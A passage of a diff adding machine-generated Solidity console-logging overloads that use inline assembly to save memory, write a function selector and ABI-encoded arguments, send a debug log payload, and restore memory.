+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,bool,uint256)`.
+            mstore(0x00, 0xc95958d6)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,bool,string)`.
+            mstore(0x00, 0xe298f47d)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p0)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,uint256,address)`.
+            mstore(0x00, 0x1c7ec448)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,uint256,bool)`.
+            mstore(0x00, 0xca7733b1)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,uint256,uint256)`.
+            mstore(0x00, 0xca47c4eb)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,uint256,string)`.
+            mstore(0x00, 0x5970e089)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p0)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,string,address)`.
+            mstore(0x00, 0x95ed0195)
+            mstore(0x20, 0x60)
+            mstore(0x40, 0xa0)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+            writeString(0xc0, p1)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,string,bool)`.
+            mstore(0x00, 0xb0e0f9b5)
+            mstore(0x20, 0x60)
+            mstore(0x40, 0xa0)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+            writeString(0xc0, p1)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,string,uint256)`.
+            mstore(0x00, 0x5821efa1)
+            mstore(0x20, 0x60)
+            mstore(0x40, 0xa0)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+            writeString(0xc0, p1)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            // Selector of `log(string,string,string)`.
+            mstore(0x00, 0x2ced7cef)
+            mstore(0x20, 0x60)
+            mstore(0x40, 0xa0)
+            mstore(0x60, 0xe0)
+            writeString(0x80, p0)
+            writeString(0xc0, p1)
+            writeString(0x100, p2)
+        }
+        _sendLogPayload(0x1c, 0x124);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+        }
+    }
+
+    function log(address p0, address p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,address,address)`.
+            mstore(0x00, 0x665bf134)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,address,bool)`.
+            mstore(0x00, 0x0e378994)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,address,uint256)`.
+            mstore(0x00, 0x94250d77)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,address,string)`.
+            mstore(0x00, 0xf808da20)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,bool,address)`.
+            mstore(0x00, 0x9f1bc36e)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,bool,bool)`.
+            mstore(0x00, 0x2cd4134a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,bool,uint256)`.
+            mstore(0x00, 0x3971e78c)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,bool,string)`.
+            mstore(0x00, 0xaa6540c8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,uint256,address)`.
+            mstore(0x00, 0x8da6def5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,uint256,bool)`.
+            mstore(0x00, 0x9b4254e2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,uint256,uint256)`.
+            mstore(0x00, 0xbe553481)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,uint256,string)`.
+            mstore(0x00, 0xfdb4f990)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,string,address)`.
+            mstore(0x00, 0x8f736d16)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,string,bool)`.
+            mstore(0x00, 0x6f1a594e)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,string,uint256)`.
+            mstore(0x00, 0xef1cefe7)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,address,string,string)`.
+            mstore(0x00, 0x21bdaf25)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bool p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,address,address)`.
+            mstore(0x00, 0x660375dd)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,address,bool)`.
+            mstore(0x00, 0xa6f50b0f)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
